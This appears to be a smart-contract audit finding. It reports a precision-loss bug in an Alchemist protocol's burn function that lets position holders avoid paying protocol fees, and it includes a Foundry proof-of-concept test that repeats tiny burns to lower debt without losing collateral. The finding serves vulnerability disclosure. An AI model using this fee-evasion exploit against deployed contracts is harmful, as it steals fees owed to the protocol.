CDP holders can reduce their debt through Alchemist::burn. Furthermore, they are required to remit a fee to the protocol, which is deducted from their collateral. However, CDP holders can evade paying fees to the protocol, resulting in the theft of fees due to precision losses.
_accounts[recipientId].collateralBalance -= convertDebtTokensToYield(credit) * protocolFee / BPS;
10 * 100 / 10_000 = 0.1 --> which rounds down to zero
function testBurnFunctionSufferFromPrecisionLoss() external {
uint256 amount = 100e18;
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), amount + 100e18);
alchemist.deposit(amount, address(0xbeef), 0);
// a single position nft would have been minted to 0xbeef
uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
alchemist.mint(tokenId, amount / 2, address(0xbeef));
vm.roll(block.number + 1);
SafeERC20.safeApprove(address(alToken), address(alchemist), amount);
(uint256 beforeCollateral, uint256 beforeUserDebt,) = alchemist.getCDP(tokenId);
uint i = 0;
while(i < 1000){
alchemist.burn(10, tokenId);
i++;
}
vm.stopPrank();
(uint256 afterCollateral, uint256 afterUserDebt,) = alchemist.getCDP(tokenId);
assertEq(beforeCollateral, afterCollateral);
assertLe(afterUserDebt, beforeUserDebt);
}